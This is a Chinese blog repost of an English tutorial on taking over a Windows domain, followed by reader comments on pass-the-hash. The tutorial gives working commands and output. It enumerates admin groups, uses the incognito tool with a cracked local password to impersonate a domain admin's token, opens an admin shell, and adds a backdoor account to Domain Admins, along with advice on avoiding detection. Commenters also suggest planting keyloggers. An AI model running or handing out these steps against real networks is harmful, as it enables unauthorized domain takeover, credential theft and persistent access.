如何攻击windows域
今天在幻影的邮件列表里看到有人说到how to attack a windows domain这个文章,google了一把看了下,这东西也太强了,我有点不相信自己的眼睛,文末的三个文章应该描述到了他的原理,建议搞渗透的同学仔细研究下。
Get administrator rights on a workstation which is on a windows domain using whatever method you can find. (exploit, stolen password, smbrelay, phishing, etc). Look for the domain server. There are a variety of ways to do this. You can arp -a to find active IP’s or ping scan the network and then use the nbtstat tool to look for the right domain controller identifier or an obvious hostname.
You can also browse the network neighborhood or use the net view command.
Aquiring and cracking the hashes of your target is generally useful as well.
Enumerate group membership so you know who to target.
Get the usernames in the local administrators group:
C:WINDOWSsystem32>net localgroup administrators net localgroup administrators Alias name administrators Comment Administrators have complete and unrestricted access to the computer/domain Members -------------------------------------- Administrator BLACKHATDomain Admins hacked local_valsmith root The command completed successfully.
Enumerate the domain admins
C:WINDOWSsystem32>net group "domain admins" /domain net group "domain admins" /domain The request will be processed at a domain controller for domain blackhat.com. Group name Domain Admins Comment Designated administrators of the domain Members --------------------------------------------------- admin_valsmith Administrator The command completed successfully.
So admin_valsmith is our target domain admin. Lets say the workstation we hacked is on 172.16.1.10. We now need to find out of there are any security tokens we can access.
c:incognito>incognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 list_tokens -u
[*] Attempting to establish new connection to \172.16.1.10IPC$
[*] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-FC12020A7EED}
[*] Redirecting I/O to remote process
[*] Enumerating tokens
[*] Listing unique users found...
Delegation Tokens Available
==========================================
NT AUTHORITYLOCAL SERVICE
NT AUTHORITYNETWORK SERVICE
NT AUTHORITYSYSTEM
XPCLIENTlocal_valsmith
Impersonation Tokens Available
==========================================
BLACKHATadmin_valsmith
NT AUTHORITYANONYMOUS LOGON
[*] Service shutdown detected. Service executable file deleted
[*] Deleting service
So admin_valsmith is our target domain administrator and an impersonation token is available to us!
The above command assumes we have cracked the hash of the local admin and retrieved the password. This will connect to IPC$ share on the target and list any tokens that are available.
Next we will utilize this token to gain domain admin rights:
C:incognitoincognito -h 172.16.1.10 -u local_valsmith -p D0nth3ckm3 execute -c "blackhatadmin_valsmith" cmd
[*] Attempting to establish new connection to \172.16.1.10IPC$
[+] Logon to \172.16.1.10IPC$ succeeded
[*] Copying service to \172.16.1.10
[+] Existing service found and opend successfully
[*] Starting service
[+] Service started
[*] Connecting to incognito service named pipe
[+] Successfully connected to named pipe {3A864C7A-77E3-4092-BF4A-9047A294CE6D}
[*] Redirecting I/O to remote process
[*] Enumerating tokens
[*] Searching for availability of requested token
[+] Requested token found
[-] No Delegation token available
[*] Attempting to create new child process and communicate via anonymous pipe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:WINDOWSsystem32>whoami
whoami
admin_valsmith
So we now have a shell with the rights of the domain administrator. We will add an account to the domain controller to demonstrate our access:
C:net user hacked 0h3ck3d! /add /domain
net user hacked 0h3cked! /add /domain
The request will be processed at a domain controller for domain blackhat.com.
The command completed successfully.
Now we want to add our account to the domain admin group. NOTE: often you don’t want to add an account, especially one named hacked as it is likely to be discovered by the admins.
C:net group "domain admins" hacked /add /domain net group "domain admins" hacked /add /domain The reuqest will be processed at a domain controller for domain blackhat.com The command completed successfully.
At this point we have control over the domain and can likely log into any workstation which is on the domain.
Some further related reading:
One token to Rule them All: Post-Exploitation Fun in Windows Environments
Security implications of windows access tokens
包子猜您可能还喜欢下列文章:
这有什么强大的,无法是local_valsmith 和 admin_valsmith 密码一样而已,
我没怎么看的很明白。。。。。他是说的172.x.x.10就是域服务器,然后有一个不是域管权限,但是是本地管理员权限的帐号,而且可以登录10.他的目的就是想增加一个域管理员权限的帐号。是吧?
域渗透的经典步骤,比起2005年没什么新鲜的。CreateProcessAsLogonUser,自己搞个
10是workstation,不是dc。
这个文章的关键是local_admin是如何以domain admin的权限执行命令的。
nohack认为是local_admin和domain admin口令一样。
黑暗之子认为是用CreateProcessAsLogonUser。
我没看最后那几个文章,但猜测不是两位所假设的这样。
1、如果local admin和domain admin口令一样,用psexec就可以了,这文章也没办法发到BH 2008上吧。
2、CreateProcessAsLogonUser也需要验证的,这个认证如何绕过呢?
http://hi.baidu.com/onweb/blog/item/06eb22d153bcabd0572c84ec.html
The Pass-The-Hash Toolkit contains utilities to manipulate the Windows Logon Sessions mantained by the LSA (Local Security Authority) component. These tools allow you to list the current logon sessions with its corresponding NTLM credentials (e.g.: users remotely logged in thru Remote Desktop/Terminal Services), and also change in runtime the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH on Windows!).
http://oss.coresecurity.com/projects/pshtoolkit.htm
就是的那个那个domain admin 登录 获取他的hash 然后重用
没试过 :)
pass the hash 能在sp2用,这东西也是老东西 最初smbreplay 不过他写的有点问题,最好自己修改
tobaoz ,你也是经验主义,为啥密码一样就不能发在BH上面,这个例子很简单,密码一样,但是ntlm或者大于14位,用pwdump跑不出来密码,只能用token来继承安全上下文, net use的时候,会默认先使用当前密码去测试,
另外还有一个办法,就是先dump出ntml的hash,然后用修改凭证。。。这个就是pass the hash的原理
真实环境下很少有这种配置,如果单独配置admin和local ,密码都是不一样的,不过如果有能搞定网管机了,放keylogger才王道
另外还有一个DA的hijack ntml,这个比较有意思
不好意思,是NTLM
WinEggDrop在2005年就放过代码了。
这个技术最早发现的是core 公司的人. 估计有9年了..当时ms说要补.一直没补
这个不是啥新技术.
详细技术细节
http://oss.coresecurity.com/projects/pshtoolkit.htm
你好
请问文中这个incognito 程序那里能弄到 或者有代码也可以
仔细看了看,不过是两个workstation都有local_admin用户,而10机器恰好有BLACKHATadmin_valsmith域管理员在使用,可以获得其hash值,然后利用该hash获得BLACKHATadmin_valsmith的权限。
请问对windows 2003 x64位系统有什么好的渗透思路吗